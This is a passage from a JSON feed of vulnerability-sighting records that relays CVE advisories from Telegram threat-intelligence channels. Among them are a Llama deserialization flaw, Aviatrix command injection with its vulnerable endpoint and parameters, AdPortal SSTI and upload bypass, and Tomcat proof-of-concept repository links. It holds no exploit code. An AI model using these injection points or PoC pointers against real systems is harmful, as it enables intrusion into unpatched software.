\u043e\u0442\u043f\u0440\u0430\u0432\u0438\u0442\u044c \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0441\u043e\u0437\u0434\u0430\u043d\u043d\u044b\u0439 \u043e\u0431\u044a\u0435\u043a\u0442, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0431\u0443\u0434\u0435\u0442 \u0434\u0435\u0441\u0435\u0440\u0438\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u043d \u0441 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u043d\u0435\u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0439 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 \u00abrecv_pyobj\u00bb, \u0447\u0442\u043e \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0434\u043e\u0431\u0438\u0442\u044c\u0441\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 \u043d\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u043c \u0445\u043e\u0441\u0442\u0435.\n\nMeta \u0438\u0441\u043f\u0440\u0430\u0432\u0438\u043b\u0430 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0443 10 \u043e\u043a\u0442\u044f\u0431\u0440\u044f 2024 \u0433\u043e\u0434\u0430 \u0432 \u0432\u0435\u0440\u0441\u0438\u0438 0.0.41, \u0437\u0430\u043c\u0435\u043d\u0438\u0432 \u0444\u043e\u0440\u043c\u0430\u0442 \u0441\u0435\u0440\u0438\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438 \u00abpickle\u00bb \u043d\u0430 \u0431\u043e\u043b\u0435\u0435 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u044b\u0439 JSON. \u0422\u0430\u043a\u0436\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0431\u044b\u043b\u0430 \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0430 \u0432 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0435 \u00abpyzmq\u00bb, \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u044e\u0449\u0435\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u043a ZeroMQ. \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0431\u044b\u043b\u0430 \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u0430 \u0432 \u0440\u0430\u043c\u043a\u0430\u0445 \u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u0433\u043e \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u0438\u044f \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438 24 \u0441\u0435\u043d\u0442\u044f\u0431\u0440\u044f 2024 \u0433\u043e\u0434\u0430.\n\n\u041f\u0440\u0438\u043c\u0435\u0447\u0430\u0442\u0435\u043b\u044c\u043d\u043e, \u0447\u0442\u043e \u044d\u0442\u043e \u043d\u0435 \u043f\u0435\u0440\u0432\u044b\u0439 \u0441\u043b\u0443\u0447\u0430\u0439 \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u0438\u044f \u043f\u043e\u0434\u043e\u0431\u043d\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u0418\u0418-\u0444\u0440\u0435\u0439\u043c\u0432\u043e\u0440\u043a\u0430\u0445. \u0412 \u0430\u0432\u0433\u0443\u0441\u0442\u0435 2024 \u0433\u043e\u0434\u0430 Oligo Security \u0441\u043e\u043e\u0431\u0449\u0438\u043b\u0430 \u043e\u0431 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 TensorFlow Keras, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u043b\u0430 \u043e\u0431\u043e\u0439\u0442\u0438 \u0437\u0430\u0449\u0438\u0442\u0443 CVE-2024-3660 \u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 \u0441 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u043c\u043e\u0434\u0443\u043b\u044f \u00abmarshal\u00bb.\n\n\u0418\u043d\u0446\u0438\u0434\u0435\u043d\u0442 \u0441 Llama \u043f\u043e\u0434\u0447\u0451\u0440\u043a\u0438\u0432\u0430\u0435\u0442 \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e\u0441\u0442\u044c \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u043d\u043e\u0433\u043e \u0432\u043d\u0438\u043c\u0430\u043d\u0438\u044f \u043a \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0444\u0440\u0435\u0439\u043c\u0432\u043e\u0440\u043a\u043e\u0432 \u0438\u0441\u043a\u0443\u0441\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u0433\u043e \u0438\u043d\u0442\u0435\u043b\u043b\u0435\u043a\u0442\u0430, \u0442\u0430\u043a \u043a\u0430\u043a \u0441 \u0440\u0430\u0437\u0432\u0438\u0442\u0438\u0435\u043c \u0442\u0435\u0445\u043d\u043e\u043b\u043e\u0433\u0438\u0439 \u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0441\u0442\u0430\u043d\u043e\u0432\u044f\u0442\u0441\u044f \u0432\u0441\u0451 \u0431\u043e\u043b\u0435\u0435 \u043c\u0430\u0441\u0448\u0442\u0430\u0431\u043d\u044b\u043c\u0438.\n\n* \u041a\u043e\u043c\u043f\u0430\u043d\u0438\u044f Meta \u0438 \u0435\u0451 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u044b \u043f\u0440\u0438\u0437\u043d\u0430\u043d\u044b \u044d\u043a\u0441\u0442\u0440\u0435\u043c\u0438\u0441\u0442\u0441\u043a\u0438\u043c\u0438, \u0438\u0445 \u0434\u0435\u044f\u0442\u0435\u043b\u044c\u043d\u043e\u0441\u0442\u044c \u0437\u0430\u043f\u0440\u0435\u0449\u0435\u043d\u0430 \u043d\u0430 \u0442\u0435\u0440\u0440\u0438\u0442\u043e\u0440\u0438\u0438 \u0420\u0424.\n\n\ud83d\udd14 ITsec NEWS", "creation_timestamp": "2025-01-27T19:23:25.000000Z"}, {"uuid": "33cdcc73-1d1b-4809-a698-77d610096a9a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50379", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/9519", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aCVE-2024\n\u63cf\u8ff0\uff1aRepositorio para alojar un template de Nuclei para probar el CVE-2024-50379 (en fase de prueba)\nURL\uff1ahttps://github.com/JFOZ1010/Nuclei-Template-CVE-2024-50379\n\n\u6807\u7b7e\uff1a#CVE-2024", "creation_timestamp": "2024-12-20T03:44:57.000000Z"}, {"uuid": "f1e67b20-9464-4e63-a06c-027e3a14ec14", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50603", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/600", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-50603\n\ud83d\udd39 Description: An issue was discovered in Aviatrix Controller before 7.1.4191 and 7.2.x before 7.2.4996. Due to the improper neutralization of special elements used in an OS command, an unauthenticated attacker is able to execute arbitrary code. Shell metacharacters can be sent to /v1/api in cloud_type for list_flightpath_destination_instances, or src_cloud_type for flightpath_connection_test.\n\ud83d\udccf Published: 2025-01-08T00:00:00\n\ud83d\udccf Modified: 2025-01-08T00:56:15.574Z\n\ud83d\udd17 References:\n1. https://docs.aviatrix.com/documentation/latest/network-security/index.html\n2. https://docs.aviatrix.com/documentation/latest/release-notices/psirt-advisories/psirt-advisories.html?expand=true#remote-code-execution-vulnerability-in-aviatrix-controllers\n3. https://www.securing.pl/en/cve-2024-50603-aviatrix-network-controller-command-injection-vulnerability/", "creation_timestamp": "2025-01-08T01:37:28.000000Z"}, {"uuid": "62be88ad-296e-4935-b725-781031855f3c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50660", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/514", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-50660\n\ud83d\udd39 Description: File Upload Bypass was found in AdPortal 3.0.39 allows a remote attacker to execute arbitrary code via the file upload functionality\n\ud83d\udccf Published: 2025-01-07T00:00:00\n\ud83d\udccf Modified: 2025-01-07T18:10:19.464196\n\ud83d\udd17 References:\n1. http://adportal.com\n2. http://ipublish.com\n3. https://petercipolone.info/wp-content/uploads/2025/01/iPublishMedia_AdPortal3.0.39_CVEs.pdf", "creation_timestamp": "2025-01-07T18:39:06.000000Z"}, {"uuid": "7f9bc4ba-c3b5-4d4a-94ac-f45e76809ef4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50658", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/516", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-50658\n\ud83d\udd39 Description: Server-Side Template Injection (SSTI) was found in AdPortal 3.0.39 allows a remote attacker to execute arbitrary code via the shippingAsBilling and firstname parameters in updateuserinfo.html file\n\ud83d\udccf Published: 2025-01-07T00:00:00\n\ud83d\udccf Modified: 2025-01-07T18:09:32.971186\n\ud83d\udd17 References:\n1. http://adportal.com\n2. http://ipublish.com\n3. https://petercipolone.info/wp-content/uploads/2025/01/iPublishMedia_AdPortal3.0.39_CVEs.pdf", "creation_timestamp": "2025-01-07T18:39:17.000000Z"}, {"uuid": "f4f520d2-f6b7-482d-a546-43a6c1683e6f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50379", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/9539", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aCVE-2024\n\u63cf\u8ff0\uff1aRCE through a race condition in Apache Tomcat\nURL\uff1ahttps://github.com/ph0ebus/Tomcat-CVE-2024-50379-Poc\n\n\u6807\u7b7e\uff1a#CVE-2024", "creation_timestamp": "2024-12-21T05:58:03.000000Z"}, {"uuid": "7f14c0a5-3f13-45d3-81e7-29dcd282d880", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50600", "type": "seen", "source": "Telegram/n2fz30uI1WDy8t_Guv6u3mHPouAKytQ58PexV7VZJA697g1J", "content": "", "creation_timestamp": "2025-03-08T04:34:11.000000Z"}, {"uuid": "ced96aea-c6f4-4d2a-b25e-d4d10a203383", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50861", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/1632", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-50861\n\ud83d\udd39 Description: The ip_mod_dns_key_form.cgi request in GestiolP v3.5.7 is vulnerable to Stored XSS. An attacker can inject malicious code into the \"TSIG Key\" field, which is saved in the database and triggers XSS when viewed, enabling data exfiltration and CSRF attacks.\n\ud83d\udccf Published: 2025-01-14T00:00:00\n\ud83d\udccf Modified: 2025-01-14T21:51:11.337859\n\ud83d\udd17 References:\n1. https://github.com/muebel/gestioip-docker-compose\n2. http://www.gestioip.net\n3. https://github.com/maxibelino/CVEs/tree/main/CVE-2024-50861", "creation_timestamp": "2025-01-14T22:09:10.000000Z"}, {"uuid": "b3f2e3a1-d6d5-445d-b4b9-13751e380683", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50130", "type": "seen", "source": "Telegram/z9UMiF2wbzIvuPNfjokOH3MfMP4l-JzMiQXGUG-ema-mlExO", "content": "", "creation_timestamp": "2025-03-08T04:34:10.000000Z"}, {"uuid": "1b5720ee-1140-4024-86eb-cc5d6cc1f839", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50563", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/1933", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-50563\n\ud83d\udd39 Description: A weak authentication in Fortinet FortiManager Cloud, FortiAnalyzer versions 7.6.0 through 7.6.1, 7.4.1 through 7.4.3, FortiAnalyzer Cloud versions 7.4.1 through 7.4.3, FortiManager versions 7.6.0 through 7.6.1, 7.4.1 through 7.4.3, FortiManager Cloud versions 7.4.1 through 7.4.3 allows attacker to execute unauthorized code or commands via a brute-force attack.\n\ud83d\udccf Published: 2025-01-16T09:16:52.864Z\n\ud83d\udccf Modified: 2025-01-16T09:16:52.864Z\n\ud83d\udd17 References:\n1. https://fortiguard.fortinet.com/psirt/FG-IR-24-221", "creation_timestamp": "2025-01-16T09:55:38.000000Z"}, {"uuid": "28268092-229f-43bf-9254-17f091662bc4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50178", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/1938", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-50178\n\ud83d\udd39 Description: In the Linux kernel, the following vulnerability has been resolved:\n\ncpufreq: loongson3: Use raw_smp_processor_id() in do_service_request()\n\nUse raw_smp_processor_id() instead of plain smp_processor_id() in\ndo_service_request(), otherwise we may get some errors with the driver\nenabled:\n\n BUG: using smp_processor_id() in preemptible [00000000] code: (udev-worker)/208\n caller is loongson3_cpufreq_probe+0x5c/0x250 [loongson3_cpufreq]\n\ud83d\udccf Published: 2024-11-08T05:24:00.205Z\n\ud83d\udccf Modified: 2025-01-16T11:53:28.322Z\n\ud83d\udd17 References:\n1. https://git.kernel.org/stable/c/2f78e4a6d2702ac03c2bf2ed3a0e344e1fa9f967\n2. https://git.kernel.org/stable/c/2b7ec33e534f7a10033a5cf07794acf48b182bbe", "creation_timestamp": "2025-01-16T12:55:27.000000Z"}, {"uuid": "fe300f75-85ed-4788-aa4d-c6b16c769c99", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50695", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/3036", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-50695\n\ud83d\udd39 Description: SunGrow WiNet-SV200.001.00.P027 and earlier versions is vulnerable to stack-based buffer overflow when parsing MQTT messages, due to missing MQTT topic bounds checks.\n\ud83d\udccf Published: 2025-01-24T00:00:00.000Z\n\ud83d\udccf Modified: 2025-01-24T23:00:21.742Z\n\ud83d\udd17 References:\n1. https://en.sungrowpower.com/security-notice-detail-2/5961", "creation_timestamp": "2025-01-24T23:04:51.000000Z"}, {"uuid": "6d6bd8c1-1770-4be5-9873-acb3c5aa56ba", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50566", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/1603", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-50566\n\ud83d\udd39 Description: A improper neutralization of special elements used in an os command ('os command injection') in Fortinet FortiManager versions 7.6.0 through 7.6.1, versions 7.4.5 through 7.4.0, and versions 7.2.1 through 7.2.8, FortiManager Cloud versions 7.6.0 through 7.6.1, versions 7.4.0 through 7.4.4, and versions 7.2.2 through 7.2.7 may allow an authenticated remote attacker to execute unauthorized code via FGFM crafted requests.\n\ud83d\udccf Published: 2025-01-14T14:08:35.384Z\n\ud83d\udccf Modified: 2025-01-14T20:57:06.777Z\n\ud83d\udd17 References:\n1. https://fortiguard.fortinet.com/psirt/FG-IR-24-463", "creation_timestamp": "2025-01-14T21:10:12.000000Z"}, {"uuid": "3ab4beaa-c853-4b7a-a03f-915ddd497c32", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50349", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/1589", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-50349\n\ud83d\udd39 Description: Git is a fast, scalable, distributed revision control system with an unusually rich command set that provides both high-level operations and full access to internals. When Git asks for credentials via a terminal prompt (i.e. without using any credential helper), it prints out the host name for which the user is expected to provide a username and/or a password. At this stage, any URL-encoded parts have been decoded already, and are printed verbatim. This allows attackers to craft URLs that contain ANSI escape sequences that the terminal interpret to confuse users e.g. into providing passwords for trusted Git hosting sites when in fact they are then sent to untrusted sites that are under the attacker's control. This issue has been patch via commits `7725b81` and `c903985` which are included in release versions v2.48.1, v2.47.1, v2.46.3, v2.45.3, v2.44.3, v2.43.6, v2.42.4, v2.41.3, and v2.40.4. Users are advised to upgrade. Users unable to upgrade should avoid cloning from untrusted URLs, especially recursive clones.\n\ud83d\udccf Published: 2025-01-14T18:43:42.620Z\n\ud83d\udccf Modified: 2025-01-14T18:43:42.620Z\n\ud83d\udd17 References:\n1. https://github.com/git/git/security/advisories/GHSA-hmg8-h7qf-7cxr\n2. https://github.com/git/git/commit/7725b8100ffbbff2750ee4d61a0fcc1f53a086e8\n3. https://github.com/git/git/commit/c903985bf7e772e2d08275c1a95c8a55ab011577", "creation_timestamp": "2025-01-14T19:11:33.000000Z"}, {"uuid": "07fd58dc-a1f9-4769-a837-bb8652485792", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50664", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/2857", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-50664\n\ud83d\udd39 Description: gpac 2.4 contains a heap-buffer-overflow at isomedia/sample_descs.c:1799 in gf_isom_new_mpha_description in gpac/MP4Box.\n\ud83d\udccf Published: 2025-01-23T00:00:00.000Z\n\ud83d\udccf Modified: 2025-01-23T22:07:14.953Z\n\ud83d\udd17 References:\n1. https://github.com/gpac/gpac/issues/2988", "creation_timestamp": "2025-01-23T23:03:58.000000Z"}, {"uuid": "e1ddf929-9be3-43b1-b686-b7f296f92082", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50665", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/2856", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-50665\n\ud83d\udd39 Description: gpac 2.4 contains a SEGV at src/isomedia/drm_sample.c:1562:96 in isom_cenc_get_sai_by_saiz_saio in MP4Box.\n\ud83d\udccf Published: 2025-01-23T00:00:00.000Z\n\ud83d\udccf Modified: 2025-01-23T22:07:58.606Z\n\ud83d\udd17 References:\n1. https://github.com/gpac/gpac/issues/2987", "creation_timestamp": "2025-01-23T23:03:57.000000Z"}, {"uuid": "77ed2924-246a-4c40-b2c6-56f1bba41fb7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50564", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/1772", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-50564\n\ud83d\udd39 Description: A use of hard-coded cryptographic key in Fortinet FortiClientWindows version 7.4.0, 7.2.x all versions, 7.0.x all versions, and 6.4.x all versions may allow a low-privileged user to decrypt interprocess communication via monitoring named piped.\n\ud83d\udccf Published: 2025-01-14T14:09:49.460Z\n\ud83d\udccf Modified: 2025-01-15T14:53:40.154Z\n\ud83d\udd17 References:\n1. https://fortiguard.fortinet.com/psirt/FG-IR-24-216", "creation_timestamp": "2025-01-15T15:10:57.000000Z"}, {"uuid": "f53f774a-1039-4265-bade-ed5f55882a68", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50312", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/1704", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-50312\n\ud83d\udd39 Description: A vulnerability was found in GraphQL due to improper access controls on the GraphQL introspection query. This flaw allows unauthorized users to retrieve a comprehensive list of available queries and mutations. Exposure to this flaw increases the attack surface, as it can facilitate the discovery of flaws or errors specific to the application's GraphQL implementation.\n\ud83d\udccf Published: 2024-10-22T13:24:12.165Z\n\ud83d\udccf Modified: 2025-01-15T05:35:38.787Z\n\ud83d\udd17 References:\n1. https://access.redhat.com/errata/RHSA-2025:0115\n2. https://access.redhat.com/errata/RHSA-2025:0140\n3. https://access.redhat.com/security/cve/CVE-2024-50312\n4. https://bugzilla.redhat.com/show_bug.cgi?id=2319378\n5. https://github.com/openshift/console/pull/14409/files", "creation_timestamp": "2025-01-15T06:10:23.000000Z"}, {"uuid": "98733ce7-1787-4b5c-83c9-89270f5bb406", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50954", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/1791", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-50954\n\ud83d\udd39 Description: The XINJE XL5E-16T and XD5E-24R-E programmable logic controllers V3.5.3b-V3.7.2a have a vulnerability in handling Modbus messages. When a TCP connection is established with the above series of controllers within a local area network (LAN), sending a specific Modbus message to the controller can cause the PLC to crash, interrupting the normal operation of the programs running in the PLC. This results in the ERR indicator light turning on and the RUN indicator light turning off.\n\ud83d\udccf Published: 2025-01-15T00:00:00\n\ud83d\udccf Modified: 2025-01-15T16:50:13.381731\n\ud83d\udd17 References:\n1. https://github.com/Curator-Kim/Vulnerability-mining/blob/master/XINJE%20XL5E-16T%20XD5E-24R%20Modbus/XINJE%20XL5E-16T%20XD5E-24R%20Modbus.md", "creation_timestamp": "2025-01-15T16:54:31.000000Z"}, {"uuid": "309e7aae-eda7-44f7-9ef6-3f41e66a6981", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50857", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/1869", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-50857\n\ud83d\udd39 Description: The ip_do_job request in GestioIP v3.5.7 is vulnerable to Cross-Site Scripting (XSS). It allows data exfiltration and enables CSRF attacks. The vulnerability requires specific user permissions within the application to exploit successfully.\n\ud83d\udccf Published: 2025-01-14T00:00:00\n\ud83d\udccf Modified: 2025-01-15T20:04:28.764Z\n\ud83d\udd17 References:\n1. https://github.com/muebel/gestioip-docker-compose\n2. http://www.gestioip.net\n3. https://github.com/maxibelino/CVEs/tree/main/CVE-2024-50857", "creation_timestamp": "2025-01-15T20:55:12.000000Z"}, {"uuid": "a81c63ec-277e-49ec-8439-8afb3ea7cebe", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50004", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/1939", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-50004\n\ud83d\udd39 Description: In the Linux kernel, the following vulnerability has been resolved:\n\ndrm/amd/display: update DML2 policy EnhancedPrefetchScheduleAccelerationFinal DCN35\n\n[WHY & HOW]\nMismatch in DCN35 DML2 cause bw validation failed to acquire unexpected DPP pipe to cause\ngrey screen and system hang. Remove EnhancedPrefetchScheduleAccelerationFinal value override\nto match HW spec.\n\n(cherry picked from commit 9dad21f910fcea2bdcff4af46159101d7f9cd8ba)\n\ud83d\udccf Published: 2024-10-21T18:53:58.609Z\n\ud83d\udccf Modified: 2025-01-16T11:53:25.998Z\n\ud83d\udd17 References:\n1. https://git.kernel.org/stable/c/945dc25eda88b5d6e30c9686dc619ab981c22d0e\n2. https://git.kernel.org/stable/c/4010efc8516899981cc3b57be2d4a2d5d9e50228\n3. https://git.kernel.org/stable/c/0d5e5e8a0aa49ea2163abf128da3b509a6c58286", "creation_timestamp": "2025-01-16T12:55:29.000000Z"}, {"uuid": "8e8852d6-bc7b-481b-9920-a0ca71dec511", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50164", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/2124", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-50164\n\ud83d\udd39 Description: In the Linux kernel, the following vulnerability has been resolved:\n\nbpf: Fix overloading of MEM_UNINIT's meaning\n\nLonial reported an issue in the BPF verifier where check_mem_size_reg()\nhas the following code:\n\n    if (!tnum_is_const(reg->var_off))\n        /* For unprivileged variable accesses, disable raw\n         * mode so that the program is required to\n         * initialize all the memory that the helper could\n         * just partially fill up.\n         */\n         meta = NULL;\n\nThis means that writes are not checked when the register containing the\nsize of the passed buffer has not a fixed size. Through this bug, a BPF\nprogram can write to a map which is marked as read-only, for example,\n.rodata global maps.\n\nThe problem is that MEM_UNINIT's initial meaning that \"the passed buffer\nto the BPF helper does not need to be initialized\" which was added back\nin commit 435faee1aae9 (\"bpf, verifier: add ARG_PTR_TO_RAW_STACK type\")\ngot overloaded over time with \"the passed buffer is being written to\".\n\nThe problem however is that checks such as the above which were added later\nvia 06c1c049721a (\"bpf: allow helpers access to variable memory\") set meta\nto NULL in order force the user to always initialize the passed buffer to\nthe helper. Due to the current double meaning of MEM_UNINIT, this bypasses\nverifier write checks to the memory (not boundary checks though) and only\nassumes the latter memory is read instead.\n\nFix this by reverting MEM_UNINIT back to its original meaning, and having\nMEM_WRITE as an annotation to BPF helpers in order to then trigger the\nBPF verifier checks for writing to memory.\n\nSome notes: check_arg_pair_ok() ensures that for ARG_CONST_SIZE{,_OR_ZERO}\nwe can access fn->arg_type[arg - 1] since it must contain a preceding\nARG_PTR_TO_MEM. For check_mem_reg() the meta argument can be removed\naltogether since we do check both BPF_READ and BPF_WRITE. Same for the\nequivalent check_kfunc_mem_size_reg().\n\ud83d\udccf Published: 2024-11-07T09:31:41.012Z\n\ud83d\udccf Modified: 2025-01-17T13:27:00.246Z\n\ud83d\udd17 References:\n1. https://git.kernel.org/stable/c/43f4df339a4d375bedcad29a61ae6f0ee7a048f8\n2. https://git.kernel.org/stable/c/48068ccaea957469f1adf78dfd2c1c9a7e18f0fe\n3. https://git.kernel.org/stable/c/54bc31682660810af1bed7ca7a19f182df8d3df8\n4. https://git.kernel.org/stable/c/8ea607330a39184f51737c6ae706db7fdca7628e", "creation_timestamp": "2025-01-17T13:56:46.000000Z"}, {"uuid": "3e75fbda-e0a6-44ca-85b1-b92ff256e024", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": 